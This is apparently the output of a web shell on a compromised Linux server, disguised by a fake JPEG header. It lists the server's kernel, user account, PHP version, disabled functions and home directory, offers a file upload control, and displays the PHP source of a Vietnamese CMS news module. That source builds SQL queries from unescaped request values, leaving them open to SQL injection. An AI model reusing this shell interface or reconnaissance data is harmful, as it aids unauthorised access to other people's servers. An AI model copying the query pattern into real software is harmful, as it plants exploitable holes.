ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/public_html/modules/ |
Upload File : |
<?php /*----------------------------------------*\ | Copyright © C-ILY | | Phone: 0983.998.994 | | Y!m: notepad.html | | Email: truongpv87@gmail.com | \*----------------------------------------*/ //*view_news.html BEGIN: Xem bài viết : vie: View, Ps: Post, Cat: Cats *// $bvView_post = @mysql_fetch_array(@mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_posts AS p JOIN cily_cats AS c ON (p.post_cat = c.id) WHERE p.post_type = 1 and p.id = ".$w3c->rewrite_id)); $file = explode(',',$bvView_post['post_file']); array_shift($file); $lfile = ''; foreach ($file as $item) { $i ++; $it = explode('|',$item); $lfile .= '<p id="file'.$i.'" style="color: blue">-> Download: <a style="color: blue" href="'.$it[1].'">'.$it[0].'</a></p>'; } $layfile = explode(',',$bvView_post['post_file']); $layfile1 = explode('|',$layfile[1]); $w3c->assign( array( 'viePs_pid' => $bvView_post['pid'], 'vieCat_cid' => $bvView_post['cid'], 'viePs_ascii' => $bvView_post['post_name_ascii'], 'vieCat_ascii' => $bvView_post['cat_name_ascii'], 'viePs_title' => $bvView_post['post_name'], 'viePs_content' => iout($bvView_post['post_content']), 'viePs_quote' => nl2br($bvView_post['post_quote']), 'viePs_time' => formatTime($bvView_post['post_time'],1), 'vieCat_name' => $bvView_post['cat_name'], 'viePs_image' => $bvView_post['post_image'], 'post_file' => $layfile1[1], 'post_lfile' => $lfile, )); //* if($layfile[1] != NULL) { $w3c->parse('show_frame1'); } if(type($layfile[1]) == 'pdf' || type($layfile[1]) == 'PDF') { $w3c->parse('show_frame2'); } $w3c->assign('cat_name', $this_cat['cat_name']); $w3c->assign('lscat_image', $this_cat['cat_img']); //*view_news.html END: Xem bài viết *// //*view_news.html BEGIN: Xem tin cũ hơn *// $bvTin_Old = @mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_posts AS p JOIN cily_cats AS c ON (p.post_cat = c.id) WHERE p.post_show = 1 AND p.id < ".$w3c->rewrite_id." AND p.post_cat = ".$w3c->rewrite_cat." ORDER BY p.id DESC LIMIT 4"); if(!@mysql_num_rows($bvTin_Old)) { $w3c->parse('bvOld_noposts'); } while($bvTinOld = @mysql_fetch_array($bvTin_Old)) { $w3c->assign ( array( 'Old_cid' => $bvTinOld['cid'], 'Old_pid' => $bvTinOld['pid'], 'OldCat_ascii' => $bvTinOld['cat_name_ascii'], 'OldPs_ascii' => $bvTinOld['post_name_ascii'], 'OldPs_name' => $bvTinOld['post_name'], 'OldPs_image' => $bvTinOld['post_image'], 'OldPs_quote' => catchuoi($bvTinOld['post_quote'], 180), 'OldPs_time' => formatTime($bvTinOld['post_time'],4), )); $w3c->parse('bvTin_Old'); //* {url}/bv/{OldCat_ascii}-c{Old_cid}/{OldPs_ascii}-p{Old_pid}.html // } //*view_news.html END: Xem tin cũ hơn *//